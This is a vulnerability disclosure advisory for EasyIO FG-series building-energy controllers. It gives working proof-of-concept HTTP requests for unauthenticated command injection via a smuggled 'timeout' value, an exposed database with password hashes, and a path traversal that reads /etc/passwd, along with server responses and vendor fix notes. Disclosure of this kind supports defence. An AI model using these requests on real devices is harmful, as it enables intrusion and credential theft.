SSD Advisory – EasyIO Multiple Vulnerabilities
Vulnerability Summary
The following advisory describes three (3) vulnerabilities that allow to an attacker to gain unauthenticated remote code execution. EasyIO provides products for Building Energy Management Systems. Low costs, high energy savings.
The three vulnerabilities found in EasyIO include:
- Unauthenticated remote code execution
- Unauthenticated database file download
- Authenticated directory traversal vulnerability
The vulnerability affected the following products:
- EasyIO FG Series, FG32
- EasyIO FG Series, FG20
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Unauthenticated remote code execution vulnerability
Vulnerable code:
The %timeout parameter lack sanity check. The $timeout parameter will be executed as input from user. an attacker can insert malicious content to the $timeout parameter and log as root
Proof of Concept
An attacker sending the following request:
1 2 3 4 5 6 7 8 9 10 | GET /sdcard/cpt/scripts/bacnet.php?action=discoverDevices&lowLimit=0&highLimit=0&timeout=0%26whoami%26uname%20–a%26ls HTTP/1.1 Host: 192.168.0.16 Accept: application/json, text/javascript, */*; q=0.01 X–Requested–With: XMLHttpRequest User–Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 Referer: http://192.168.0.16/sdcard/cpt/app/graphic.php?grname=Admin.gr Accept–Encoding: gzip, deflate, sdch Accept–Language: en–US,en;q=0.8 Connection: close Content–Length: 1 |
Will receive from the server the following response:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | HTTP/1.1 200 OK Date: Mon, 07 Mar 2016 08:31:43 GMT Server: Embedthis–Appweb/3.3.2 Content–Length: 175 Content–Type: text/html Connection: close Pragma: no–cache Cache–Control: no–store, no–cache, must–revalidate, post–check=0, pre–check=0 Last–Modified: Mon, 07 Mar 2016 08:31:43 GMT Content–type: text/html X–Powered–By: PHP/5.3.10 Expires: Thu, 19 Nov 1981 08:52:00 GMT Set–Cookie: PHPSESSID=f694a07ca04f27cea0dffa9e6a44ade1; path=/ root Linux FG32–20 2.6.29.2–V2.8 #36 Wed Nov 12 15:06:43 EST 2014 armv4tl unknown !!bacnet: Timeout is out of (1 ~ 43200) range bacnet.php deployment.php os_info.php |
Unauthenticated database file download
The database file is not protected from direct download if the “right” URL is provided, the database file includes sensitive information, usernames and passwords as well as configuration settings of the remote device.
The URL where the database is located at:
http://192.168.0.16/sdcard/cpt/app/cpt-web.db
Which when accessed will return the following content when loaded into sqlite:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | sqlite> .databases seq name file —– ———————– ————————————————————————————— 0 main /tmp/cpt–web.db 1 temp sqlite> .tables permissions users sqlite> .schema CREATE TABLE users ( id INTEGER PRIMARY KEY AUTOINCREMENT, name varchar(255) NOT NULL UNIQUE, salt char(16) NOT NULL, checksum char(56) NOT NULL, is_admin char(1) DEFAULT ‘f’, created_at datetime default current_timestamp , utility_enabled char(1) DEFAULT ‘f’, home_page varchar(255), system_enabled char(1) DEFAULT ‘f’); CREATE TABLE permissions ( id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER NOT NULL, path varchar(255) NOT NULL, readable char(1) DEFAULT ‘t’, writable char(1) DEFAULT ‘t’, created_at datetime default current_timestamp, FOREIGN KEY(user_id) REFERENCES users(id) ); sqlite> select * from users; 1|admin|hNsq25I1KmRfSCOu|dc7b9f203aa5cf1bwe33d5fc126cd783f98595e9|t|1970–01–01 00:09:24|t||t 2|user|2PuRbt9ogdHGS10y|1b5ff0de0610cc42b27cg833d46eb798a1ff9f22|f|2015–03–16 05:47:00|f|Admin.gr|f |
‘checksum’ column is created based on the user supplied password and the ‘salt’ (found in the salt column).
Authenticated directory traversal vulnerability
Vulnerable code: grdata.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | {“data”: “<?php //vim: ts=2 sw=2 include_once “db.php”; include_once “base_controller.php”; class GrdataController extends BaseController { protected function signinRequired() { return true; } protected function doAjaxGet() { $response = array(); $_SESSION[‘curGrPath’] = $_GET[‘grName’]; if (!$this->isReadable()) { $this->renderAjaxError($response, “permission denied”); // $_SESSION[‘flash’] = “permission denied”; // $this->redirect($this->makeUrl(“app/landing_page.php”)); } $grName = $_GET[‘grName’]; $file = file_get_contents(‘./grdata/’ . $grName); //vuln call to file_get_contents() if ($file) { $response[‘data’] = $file; $u = $this->curUser(); $response[‘actionPermitted’] = $u->can(‘write’, $_GET[‘grName’]) ? ‘true’ : ‘false’; if (!$u->isAdmin()) $response[‘grBlackList’] = implode(“,”, $u->grBlackList()); $response[‘home_page’] = $u->attr(‘home_page’); $this->renderAjaxSuccess($response); } else { $this->renderAjaxError($response, “failed to read data file: $grName”); } } } $controller = new GrdataController(); $controller->run(); ?> “,“actionPermitted”: “true”,“home_page”: “” |
Proof of Concept
An attacker sending the following request:
1 2 3 4 5 6 7 8 9 10 | GET /sdcard/cpt/app/grdata.php?grName=../../../../../../../../etc/passwd HTTP/1.1 Host: 192.168.0.16 Accept: application/json, text/javascript, */*; q=0.01 X–Requested–With: XMLHttpRequest User–Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 Referer: http://192.168.0.16/sdcard/cpt/app/graphic.php?grname=Admin.gr Accept–Encoding: gzip, deflate, sdch Accept–Language: en–US,en;q=0.8 Cookie: PHPSESSID=7384531ce6f444710b42106a07b91e4c; PHPSESSID=7384531ce6f444710b42106a07b91e4c Connection: close |
Will receive from the server the following response:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | HTTP/1.1 200 OK Date: Mon, 07 Mar 2016 03:21:24 GMT Server: Embedthis–Appweb/3.3.2 Content–Length: 390 Content–Type: text/html Connection: close Pragma: no–cache Cache–Control: no–store, no–cache, must–revalidate, post–check=0, pre–check=0 Last–Modified: Mon, 07 Mar 2016 03:21:24 GMT Content–type: text/html X–Powered–By: PHP/5.3.10 Expires: Thu, 19 Nov 1981 08:52:00 GMT {“data”: “root:r2PJOcraF5UZg:0:0:root:/:/bin/sh bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: nobody:*:99:99:Nobody:/: admin:tBVL4DWVHEbys:500:500:admin:/:/bin/sh sdcard:uu7RndQCc/s.Q:501:501:sdcard:/sdcard:/bin/sh guest:1hK129p3FfneE:502:502:guest:/mnt/users/guest:/bin/sh webuser:xLhgTub5K6Css:503:503:webuser:/mnt/appweb/web/:/bin/sh “,“actionPermitted”: “true”,“home_page”: “”} |
Vendor Response
Unauthenticated remote code execution – This reported issue has been fixed in this week’s release (CPT tool , dated 11th Nov 2016). We have also fix all possible codes that can cause this issue.
Unauthenticated database file download – This had been fixed in previous version of FG firmware, we introduced an appweb configuration to fix this issue in around Feb, 2015. You can test this with our latest firmware or you could send this note to the person who reported this.
Authenticated directory traversal vulnerability – This has been fixed in this week’s release(CPT tool , dated 11th Nov 2016). I also fixed all possible codes that can cause this issue.